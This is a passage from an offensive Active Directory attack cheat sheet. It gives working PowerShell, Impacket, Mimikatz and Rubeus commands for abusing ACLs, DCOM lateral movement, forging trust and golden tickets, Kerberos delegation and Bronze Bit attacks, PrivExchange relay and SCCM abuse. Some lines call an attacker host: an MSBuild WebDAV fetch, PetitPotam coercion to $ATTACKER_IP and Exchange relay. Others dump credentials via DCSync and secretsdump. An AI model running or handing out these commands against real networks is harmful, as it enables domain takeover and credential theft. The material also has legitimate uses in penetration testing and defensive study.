An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).
```powershell
Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'
```
Or
```powershell
bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object
```
This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.
### ReadLAPSPassword
An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the [Reading LAPS Password](#reading-laps-password) section.
```powershell
Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
```
Or for a given computer
```powershell
bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
```
### ReadGMSAPassword
An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.
```powershell
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
```
Or
```powershell
python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword
```
### ForceChangePassword
An attacker can change the password of the user this ACE applies to:
* On Windows, this can be achieved with `Set-DomainUserPassword` (PowerView module):
```powershell
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
```
* On Linux:
```bash
# Using rpcclient from the Samba software suite
rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd"
# Using bloodyAD with pass-the-hash
bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
```
## DCOM Exploitation
> DCOM is an extension of COM (Component Object Model), which allows applications to instantiate and access the properties and methods of COM objects on a remote computer.
* Impacket DCOMExec.py
```ps1
dcomexec.py [-h] [-share SHARE] [-nooutput] [-ts] [-debug] [-codec CODEC] [-object [{ShellWindows,ShellBrowserWindow,MMC20}]] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-A authfile] [-keytab KEYTAB] target [command ...]
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>'
dcomexec.py -share C$ -object MMC20 '<DOMAIN>/<USERNAME>:<PASSWORD>@<MACHINE_CIBLE>' 'ipconfig'
python3 dcomexec.py -object MMC20 -silentcommand -debug $DOMAIN/$USER:$PASSWORD\$@$HOST 'notepad.exe'
# -object MMC20 specifies that we wish to instantiate the MMC20.Application object.
# -silentcommand executes the command without attempting to retrieve the output.
```
* CheeseTools - https://github.com/klezVirus/CheeseTools
```powershell
# https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementDCOM/
-t, --target=VALUE Target Machine
-b, --binary=VALUE Binary: powershell.exe
-a, --args=VALUE Arguments: -enc <blah>
-m, --method=VALUE Methods: MMC20Application, ShellWindows,
ShellBrowserWindow, ExcelDDE, VisioAddonEx,
OutlookShellEx, ExcelXLL, VisioExecLine,
OfficeMacro
-r, --reg, --registry Enable registry manipulation
-h, -?, --help Show Help
Current Methods: MMC20.Application, ShellWindows, ShellBrowserWindow, ExcelDDE, VisioAddonEx, OutlookShellEx, ExcelXLL, VisioExecLine, OfficeMacro.
```
* Invoke-DCOM - https://raw.githubusercontent.com/rvrsh3ll/Misc-Powershell-Scripts/master/Invoke-DCOM.ps1
```powershell
Import-Module .\Invoke-DCOM.ps1
Invoke-DCOM -ComputerName '10.10.10.10' -Method MMC20.Application -Command "calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ExcelDDE -Command "calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ServiceStart "MyService"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellBrowserWindow -Command "calc.exe"
Invoke-DCOM -ComputerName '10.10.10.10' -Method ShellWindows -Command "calc.exe"
```
### DCOM via MMC Application Class
This COM object (MMC20.Application) allows you to script components of MMC snap-in operations. there is a method named **"ExecuteShellCommand"** under **Document.ActiveView**.
```ps1
PS C:\> $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1"))
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\calc.exe",$null,$null,7)
PS C:\> $com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,"-enc DFDFSFSFSFSFSFSFSDFSFSF < Empire encoded string > ","7")
# Weaponized example with MSBuild
PS C:\> [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.1")).Document.ActiveView.ExecuteShellCommand("c:\windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe",$null,"\\10.10.10.2\webdav\build.xml","7")
```
Invoke-MMC20RCE : https://raw.githubusercontent.com/n0tty/powershellery/master/Invoke-MMC20RCE.ps1
### DCOM via Office
* Excel.Application
* DDEInitiate
* RegisterXLL
* Outlook.Application
* CreateObject->Shell.Application->ShellExecute
* CreateObject->ScriptControl (office-32bit only)
* Visio.InvisibleApp (same as Visio.Application, but should not show the Visio window)
* Addons
* ExecuteLine
* Word.Application
* RunAutoMacro
```ps1
# Powershell script that injects shellcode into excel.exe via ExecuteExcel4Macro through DCOM
Invoke-Excel4DCOM64.ps1 https://gist.github.com/Philts/85d0f2f0a1cc901d40bbb5b44eb3b4c9
Invoke-ExShellcode.ps1 https://gist.github.com/Philts/f7c85995c5198e845c70cc51cd4e7e2a
# Using Excel DDE
PS C:\> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS C:\> $excel.DisplayAlerts = $false
PS C:\> $excel.DDEInitiate("cmd", "/c calc.exe")
# Using Excel RegisterXLL
# Can't be used reliably with a remote target
Require: reg add HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Locations /v AllowsNetworkLocations /t REG_DWORD /d 1
PS> $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "$ComputerName"))
PS> $excel.RegisterXLL("EvilXLL.dll")
# Using Visio
$visio = [activator]::CreateInstance([type]::GetTypeFromProgID("Visio.InvisibleApp", "$ComputerName"))
$visio.Addons.Add("C:\Windows\System32\cmd.exe").Run("/c calc")
```
### DCOM via ShellExecute
```ps1
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```
### DCOM via ShellBrowserWindow
:warning: Windows 10 only, the object doesn't exists in Windows 7
```ps1
$com = [Type]::GetTypeFromCLSID('C08AFD90-F2A1-11D1-8455-00A0C91F3880',"10.10.10.1")
$obj = [System.Activator]::CreateInstance($com)
$obj.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
```
## Trust relationship between domains
* One-way
* Domain B trusts A
* Users in Domain A can access resources in Domain B
* Users in Domain B cannot access resources in Domain A
* Two-way
* Domain A trusts Domain B
* Domain B trusts Domain A
* Authentication requests can be passed between the two domains in both directions
### Enumerate trusts between domains
```powershell
nltest /trusted_domains
```
or
```powershell
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()
SourceName TargetName TrustType TrustDirection
---------- ---------- --------- --------------
domainA.local domainB.local TreeRoot Bidirectional
```
### Exploit trusts between domains
:warning: Require a Domain-Admin level access to the current domain.
| Source | Target | Technique to use | Trust relationship |
|---|---|---|---|
| Root | Child | Golden Ticket + Enterprise Admin group (Mimikatz /groups) | Inter Realm (2-way) |
| Child | Child | SID History exploitation (Mimikatz /sids) | Inter Realm Parent-Child (2-way) |
| Child | Root | SID History exploitation (Mimikatz /sids) | Inter Realm Tree-Root (2-way) |
| Forest A | Forest B | PrinterBug + Unconstrained delegation ? | Inter Realm Forest or External (2-way) |
## Child Domain to Forest Compromise - SID Hijacking
Most trees are linked with dual sided trust relationships to allow for sharing of resources.
By default the first domain created if the Forest Root.
**Requirements**:
- KRBTGT Hash
- Find the SID of the domain
```powershell
$ Convert-NameToSid target.domain.com\krbtgt
S-1-5-21-2941561648-383941485-1389968811-502
# with Impacket
lookupsid.py domain/user:password@10.10.10.10
```
- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain.
```powershell
kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
```
## Forest to Forest Compromise - Trust Ticket
* Require: SID filtering disabled
From the DC, dump the hash of the `currentdomain\targetdomain$` trust account using Mimikatz (e.g. with LSADump or DCSync). Then, using this trust key and the domain SIDs, forge an inter-realm TGT using
Mimikatz, adding the SID for the target domain's enterprise admins group to our **SID history**.
### Dumping trust passwords (trust keys)
> Look for the trust name with a dollar ($) sign at the end. Most of the accounts with a trailing **$** are computer accounts, but some are trust accounts.
```powershell
lsadump::trust /patch
or find the TRUST_NAME$ machine account hash
```
### Create a forged trust ticket (inter-realm TGT) using Mimikatz
```powershell
mimikatz(commandline) # kerberos::golden /domain:domain.local /sid:S-1-5-21... /rc4:HASH_TRUST$ /user:Administrator /service:krbtgt /target:external.com /ticket:c:\temp\trust.kirbi
mimikatz(commandline) # kerberos::golden /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:moneycorp.local /ticket:c:\ad\tools\mcorp-ticket.kirbi
```
### Use the Trust Ticket file to get a ST for the targeted service
```powershell
.\asktgs.exe c:\temp\trust.kirbi CIFS/machine.domain.local
.\Rubeus.exe asktgs /ticket:c:\ad\tools\mcorp-ticket.kirbi /service:LDAP/mcorp-dc.moneycorp.local /dc:mcorp-dc.moneycorp.local /ptt
```
Inject the ST file and access the targeted service with the spoofed rights.
```powershell
kirbikator lsa .\ticket.kirbi
ls \\machine.domain.local\c$
```
## Privileged Access Management (PAM) Trust
> PAM (Privileged access managment) introduces bastion forest for management, Shadow Security Principals (groups mapped to high priv groups of managed forests). These allow management of other forests without making changes to groups or ACLs and without interactive logon.
Requirements:
* Windows Server 2016 or earlier
If we compromise the bastion we get `Domain Admins` privileges on the other domain
* Default configuration for PAM Trust
```ps1
# execute on our forest
netdom trust lab.local /domain:bastion.local /ForestTransitive:Yes
netdom trust lab.local /domain:bastion.local /EnableSIDHistory:Yes
netdom trust lab.local /domain:bastion.local /EnablePIMTrust:Yes
netdom trust lab.local /domain:bastion.local /Quarantine:No
# execute on our bastion
netdom trust bastion.local /domain:lab.local /ForestTransitive:Yes
```
* Enumerate PAM trusts
```ps1
# Detect if current forest is PAM trust
Import ADModule
Get-ADTrust -Filter {(ForestTransitive -eq $True) -and (SIDFilteringQuarantined -eq $False)}
# Enumerate shadow security principals
Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl
# Enumerate if current forest is managed by a bastion forest
# Trust_Attribute_PIM_Trust + Trust_Attribute_Treat_As_External
Get-ADTrust -Filter {(ForestTransitive -eq $True)}
```
* Compromise
* Using the previously found Shadow Security Principal (WinRM account, RDP access, SQL, ...)
* Using SID History
* Persistence
```ps1
# Add a compromised user to the group
Set-ADObject -Identity "CN=forest-ShadowEnterpriseAdmin,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=domain,DC=local" -Add @{'member'="CN=Administrator,CN=Users,DC=domain,DC=local"}
```
## Kerberos Unconstrained Delegation
> The user sends a ST to access the service, along with their TGT, and then the service can use the user's TGT to request a ST for the user to any other service and impersonate the user. - https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
> When a user authenticates to a computer that has unrestricted kerberos delegation privilege turned on, authenticated user's TGT ticket gets saved to that computer's memory.
:warning: Unconstrained delegation used to be the only option available in Windows 2000
> **Warning**
> Remember to coerce to a HOSTNAME if you want a Kerberos Ticket
### SpoolService Abuse with Unconstrained Delegation
The goal is to gain DC Sync privileges using a computer account and the SpoolService bug.
**Requirements**:
- Object with Property **Trust this computer for delegation to any service (Kerberos only)**
- Must have **ADS_UF_TRUSTED_FOR_DELEGATION**
- Must not have **ADS_UF_NOT_DELEGATED** flag
- User must not be in the **Protected Users** group
- User must not have the flag **Account is sensitive and cannot be delegated**
#### Find delegation
:warning: : Domain controllers usually have unconstrained delegation enabled.
Check the `TRUSTED_FOR_DELEGATION` property.
* [ADModule](https://github.com/samratashok/ADModule)
```powershell
# From https://github.com/samratashok/ADModule
PS> Get-ADComputer -Filter {TrustedForDelegation -eq $True}
```
* [ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump)
```powershell
$> ldapdomaindump -u "DOMAIN\\Account" -p "Password123*" 10.10.10.10
grep TRUSTED_FOR_DELEGATION domain_computers.grep
```
* [CrackMapExec module](https://github.com/byt3bl33d3r/CrackMapExec/wiki)
```powershell
cme ldap 10.10.10.10 -u username -p password --trusted-for-delegation
```
* BloodHound: `MATCH (c:Computer {unconstraineddelegation:true}) RETURN c`
* Powershell Active Directory module: `Get-ADComputer -LDAPFilter "(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl`
#### SpoolService status
Check if the spool service is running on the remote host
```powershell
ls \\dc01\pipe\spoolss
python rpcdump.py DOMAIN/user:password@10.10.10.10
```
#### Monitor with Rubeus
Monitor incoming connections from Rubeus.
```powershell
Rubeus.exe monitor /interval:1
```
#### Force a connect back from the DC
Due to the unconstrained delegation, the TGT of the computer account (DC$) will be saved in the memory of the computer with unconstrained delegation. By default the domain controller computer account has DCSync rights over the domain object.
> SpoolSample is a PoC to coerce a Windows host to authenticate to an arbitrary server using a "feature" in the MS-RPRN RPC interface.
```powershell
# From https://github.com/leechristensen/SpoolSample
.\SpoolSample.exe VICTIM-DC-NAME UNCONSTRAINED-SERVER-DC-NAME
.\SpoolSample.exe DC01.HACKER.LAB HELPDESK.HACKER.LAB
# DC01.HACKER.LAB is the domain controller we want to compromise
# HELPDESK.HACKER.LAB is the machine with delegation enabled that we control.
# From https://github.com/dirkjanm/krbrelayx
printerbug.py 'domain/username:password'@<VICTIM-DC-NAME> <UNCONSTRAINED-SERVER-DC-NAME>
# From https://gist.github.com/3xocyte/cfaf8a34f76569a8251bde65fe69dccc#gistcomment-2773689
python dementor.py -d domain -u username -p password <UNCONSTRAINED-SERVER-DC-NAME> <VICTIM-DC-NAME>
```
If the attack worked you should get a TGT of the domain controller.
#### Load the ticket
Extract the base64 TGT from Rubeus output and load it to our current session.
```powershell
.\Rubeus.exe asktgs /ticket:<ticket base64> /service:LDAP/dc.lab.local,cifs/dc.lab.local /ptt
```
Alternatively you could also grab the ticket using Mimikatz : `mimikatz # sekurlsa::tickets`
Then you can use DCsync or another attack : `mimikatz # lsadump::dcsync /user:HACKER\krbtgt`
#### Mitigation
* Ensure sensitive accounts cannot be delegated
* Disable the Print Spooler Service
### MS-EFSRPC Abuse with Unconstrained Delegation
Using `PetitPotam`, another tool to coerce a callback from the targeted machine, instead of `SpoolSample`.
```bash
# Coerce the callback
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
# Extract the ticket
.\Rubeus.exe asktgs /ticket:<ticket base64> /ptt
```
## Kerberos Constrained Delegation
> Kerberos Constrained Delegation (KCD) is a security feature in Microsoft's Active Directory (AD) that allows a service to impersonate a user or another service in order to access resources on behalf of that user or service.
### Identify a Constrained Delegation
* BloodHound: `MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p`
* PowerView: `Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft`
* Native
```powershell
Get-DomainComputer -TrustedToAuth | select -exp dnshostname
Get-DomainComputer previous_result | select -exp msds-AllowedToDelegateTo
```
### Exploit the Constrained Delegation
* Impacket
```ps1
getST.py -spn HOST/SQL01.DOMAIN 'DOMAIN/user:password' -impersonate Administrator -dc-ip 10.10.10.10
```
* Rubeus: S4U2 attack (S4U2self + S4U2proxy)
```ps1
# with a password
Rubeus.exe s4u /nowrap /msdsspn:"time/target.local" /altservice:cifs /impersonateuser:"administrator" /domain:"domain" /user:"user" /password:"password"
# with a NT hash
Rubeus.exe s4u /user:user_for_delegation /rc4:user_pwd_hash /impersonateuser:user_to_impersonate /domain:domain.com /dc:dc01.domain.com /msdsspn:time/srv01.domain.com /altservice:cifs /ptt
Rubeus.exe s4u /user:MACHINE$ /rc4:MACHINE_PWD_HASH /impersonateuser:Administrator /msdsspn:"cifs/dc.domain.com" /altservice:cifs,http,host,rpcss,wsman,ldap /ptt
dir \\dc.domain.com\c$
```
* Rubeus: use an existing ticket to perform a S4U2 attack to impersonate the "Administrator"
```ps1
# Dump ticket
Rubeus.exe tgtdeleg /nowrap
Rubeus.exe triage
Rubeus.exe dump /luid:0x12d1f7
# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt
```
* Rubeus : using aes256 keys
```ps1
# Get aes256 keys of the machine account
privilege::debug
token::elevate
sekurlsa::ekeys
# Create a ticket
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/srv.domain.local /user:win10x64$ /aes256:4b55f...fd82 /ptt
```
### Impersonate a domain user on a resource
Require:
* SYSTEM level privileges on a machine configured with constrained delegation
```ps1
PS> [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') | out-null
PS> $idToImpersonate = New-Object System.Security.Principal.WindowsIdentity @('administrator')
PS> $idToImpersonate.Impersonate()
PS> [System.Security.Principal.WindowsIdentity]::GetCurrent() | select name
PS> ls \\dc01.offense.local\c$
```
## Kerberos Resource Based Constrained Delegation
Resource-based Constrained Delegation was introduced in Windows Server 2012.
> The user sends a Service Ticket (ST) to access the service ("Service A"), and if the service is allowed to delegate to another pre-defined service ("Service B"), then Service A can present to the authentication service the TGS that the user provided and obtain a ST for the user to Service B. https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html
1. Import **Powermad** and **Powerview**
```powershell
PowerShell.exe -ExecutionPolicy Bypass
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1
```
2. Get user SID
```powershell
$AttackerSID = Get-DomainUser SvcJoinComputerToDom -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL dc01-ww2.factory.lan | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier
```
3. Abuse **MachineAccountQuota** to create a computer account and set an SPN for it
```powershell
New-MachineAccount -MachineAccount swktest -Password $(ConvertTo-SecureString 'Weakest123*' -AsPlainText -Force)
```
4. Rewrite DC's **AllowedToActOnBehalfOfOtherIdentity** properties
```powershell
$ComputerSid = Get-DomainComputer swktest -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer dc01-ww2.factory.lan | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
$RawBytes = Get-DomainComputer dc01-ww2.factory.lan -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0
$Descriptor.DiscretionaryAcl
```
```ps1
# alternative
$SID_FROM_PREVIOUS_COMMAND = Get-DomainComputer MACHINE_ACCOUNT_NAME -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$SID_FROM_PREVIOUS_COMMAND)"; $SDBytes = New-Object byte[] ($SD.BinaryLength); $SD.GetBinaryForm($SDBytes, 0); Get-DomainComputer DC01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# alternative
StandIn_Net35.exe --computer dc01 --sid SID_FROM_PREVIOUS_COMMAND
```
5. Use Rubeus to get hash from password
```powershell
Rubeus.exe hash /password:'Weakest123*' /user:swktest$ /domain:factory.lan
[*] Input password : Weakest123*
[*] Input username : swktest$
[*] Input domain : factory.lan
[*] Salt : FACTORY.LANswktest
[*] rc4_hmac : F8E064CA98539B735600714A1F1907DD
[*] aes128_cts_hmac_sha1 : D45DEADECB703CFE3774F2AA20DB9498
[*] aes256_cts_hmac_sha1 : 0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347
[*] des_cbc_md5 : BA297CFD07E62A5E
```
6. Impersonate domain admin using our newly created machine account
```powershell
.\Rubeus.exe s4u /user:swktest$ /rc4:F8E064CA98539B735600714A1F1907DD /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
.\Rubeus.exe s4u /user:swktest$ /aes256:0129D24B2793DD66BAF3E979500D8B313444B4D3004DE676FA6AFEAC1AC5C347 /impersonateuser:Administrator /msdsspn:cifs/dc01-ww2.factory.lan /ptt /altservice:cifs,http,host,rpcss,wsman,ldap
[*] Impersonating user 'Administrator' to target SPN 'cifs/dc01-ww2.factory.lan'
[*] Using domain controller: DC01-WW2.factory.lan (172.16.42.5)
[*] Building S4U2proxy request for service: 'cifs/dc01-ww2.factory.lan'
[*] Sending S4U2proxy request
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/dc01-ww2.factory.lan':
doIGXDCCBligAwIBBaEDAgEWooIFXDCCBVhhggVUMIIFUKADAgEFoQ0bC0ZBQ1RPUlkuTEFOoicwJaAD
AgECoR4wHBsEY2lmcxsUZGMwMS[...]PMIIFC6ADAgESoQMCAQOiggT9BIIE
LmZhY3RvcnkubGFu
[*] Action: Import Ticket
[+] Ticket successfully imported!
```
## Kerberos Service for User Extension
* Service For User To Self which allows a service to obtain a TGS on behalf of another user
* Service For User To Proxy which allows a service to obtain a TGS on behalf of another user on another service
### S4U2self - Privilege Escalation
1. Get a TGT
* Using Unconstrained Delegation
* Using the current machine account: `Rubeus.exe tgtdeleg /nowrap`
2. Use that TGT to make a S4U2self request in order to obtain a Service Ticket as domain admin for the machine.
```ps1
Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001.domain.local" /ticket:"base64ticket"
Rubeus.exe ptt /ticket:"base64ticket"
Rubeus.exe s4u /self /nowrap /impersonateuser:"Administrator" /altservice:"cifs/srv001" /ticket:"base64ticket" /ptt
```
The "Network Service" account and the AppPool identities can act as the computer account in terms of Active Directory, they are only restrained locally. Therefore it is possible to invoke S4U2self if you run as one of these and request a service ticket for any user (e.g. someone with local admin rights, like DA) to yourself.
```ps1
# The Rubeus execution will fail when trying the S4UProxy step, but the ticket generated by S4USelf will be printed.
Rubeus.exe s4u /user:${computerAccount} /msdsspn:cifs/${computerDNS} /impersonateuser:${localAdmin} /ticket:${TGT} /nowrap
# The service name is not included in the TGS ciphered data and can be modified at will.
Rubeus.exe tgssub /ticket:${ticket} /altservice:cifs/${ServerDNSName} /ptt
```
## Kerberos Bronze Bit Attack - CVE-2020-17049
> An attacker can impersonate users which are not allowed to be delegated. This includes members of the **Protected Users** group and any other users explicitly configured as **sensitive and cannot be delegated**.
> Patch is out on November 10, 2020, DC are most likely vulnerable until [February 2021](https://support.microsoft.com/en-us/help/4598347/managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049).
:warning: Patched Error Message : `[-] Kerberos SessionError: KRB_AP_ERR_MODIFIED(Message stream modified)`
Requirements:
* Service account's password hash
* Service account's with `Constrained Delegation` or `Resource Based Constrained Delegation`
* [Impacket PR #1013](https://github.com/SecureAuthCorp/impacket/pull/1013)
**Attack #1** - Bypass the `Trust this user for delegation to specified services only – Use Kerberos only` protection and impersonate a user who is protected from delegation.
```powershell
# forwardable flag is only protected by the ticket encryption which uses the service account's password
$ getST.py -spn cifs/Service2.test.local -impersonate Administrator -hashes <LM:NTLM hash> -aesKey <AES hash> test.local/Service1 -force-forwardable -dc-ip <Domain controller> # -> Forwardable
$ getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes aad3b435b51404eeaad3b435b51404ee:7c1673f58e7794c77dead3174b58b68f -aesKey 4ffe0c458ef7196e4991229b0e1c4a11129282afb117b02dc2f38f0312fc84b4 test.local/Service1 -force-forwardable
# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit
# Access "c$"
ls \\service2.test.local\c$
```
**Attack #2** - Write Permissions to one or more objects in the AD
```powershell
# Create a new machine account
Import-Module .\Powermad\powermad.ps1
New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)
.\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit
# Set PrincipalsAllowedToDelegateToAccount
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer AttackerService
Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount
# Execute the attack
python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
# Load the ticket
.\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
```
## PrivExchange attack
Exchange your privileges for Domain Admin privs by abusing Exchange.
:warning: You need a shell on a user account with a mailbox.
1. Exchange server hostname or IP address
```bash
pth-net rpc group members "Exchange Servers" -I dc01.domain.local -U domain/username
```
2. Relay of the Exchange server authentication and privilege escalation (using ntlmrelayx from Impacket).
```powershell
ntlmrelayx.py -t ldap://dc01.domain.local --escalate-user username
```
3. Subscription to the push notification feature (using privexchange.py or powerPriv), uses the credentials of the current user to authenticate to the Exchange server. Forcing the Exchange server's to send back its NTLMv2 hash to a controlled machine.
```bash
# https://github.com/dirkjanm/PrivExchange/blob/master/privexchange.py
python privexchange.py -ah xxxxxxx -u xxxx -d xxxxx
python privexchange.py -ah 10.0.0.2 mail01.domain.local -d domain.local -u user_exchange -p pass_exchange
# https://github.com/G0ldenGunSec/PowerPriv
powerPriv -targetHost corpExch01 -attackerHost 192.168.1.17 -Version 2016
```
4. Profit using secretdumps from Impacket, the user can now perform a dcsync and get another user's NTLM hash
```bash
python secretsdump.py xxxxxxxxxx -just-dc
python secretsdump.py lab/buff@192.168.0.2 -ntds ntds -history -just-dc-ntlm
```
5. Clean your mess and restore a previous state of the user's ACL
```powershell
python aclpwn.py --restore ../aclpwn-20190319-125741.restore
```
Alternatively you can use the Metasploit module
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420)
Alternatively you can use an all-in-one tool : Exchange2domain.
```powershell
git clone github.com/Ridter/Exchange2domain
python Exchange2domain.py -ah attackterip -ap listenport -u user -p password -d domain.com -th DCip MailServerip
python Exchange2domain.py -ah attackterip -u user -p password -d domain.com -th DCip --just-dc-user krbtgt MailServerip
```
## SCCM Deployment
> SCCM is a solution from Microsoft to enhance administration in a scalable way across an organisation.
* [PowerSCCM - PowerShell module to interact with SCCM deployments](https://github.com/PowerShellMafia/PowerSCCM)
* [MalSCCM - Abuse local or remote SCCM servers to deploy malicious applications to hosts they manage](https://github.com/nettitude/MalSCCM)
* Using **SharpSCCM**
```ps1
.\SharpSCCM.exe get device --server <SERVER8NAME> --site-code <SITE_CODE>
.\SharpSCCM.exe <server> <sitecode> exec -d <device_name> -r <relay_server_ip>
.\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\ping 10.10.10.10" -s --debug
```
* Compromise client, use locate to find management server
```ps1
MalSCCM.exe locate
```
* Enumerate over WMI as an administrator of the Distribution Point
```ps1
MalSCCM.exe inspect /server:<DistributionPoint Server FQDN> /groups
```
* Compromise management server, use locate to find primary server
* Use `inspect` on primary server to view who you can target
```ps1
MalSCCM.exe inspect /all
MalSCCM.exe inspect /computers
MalSCCM.exe inspect /primaryusers
MalSCCM.exe inspect /groups
```
* Create a new device group for the machines you want to laterally move too
```ps1
MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
MalSCCM.exe inspect /groups
```
* Add your targets into the new group
```ps1
MalSCCM.exe group /addhost /groupname:TargetGroup /host:WIN2016-SQL
```
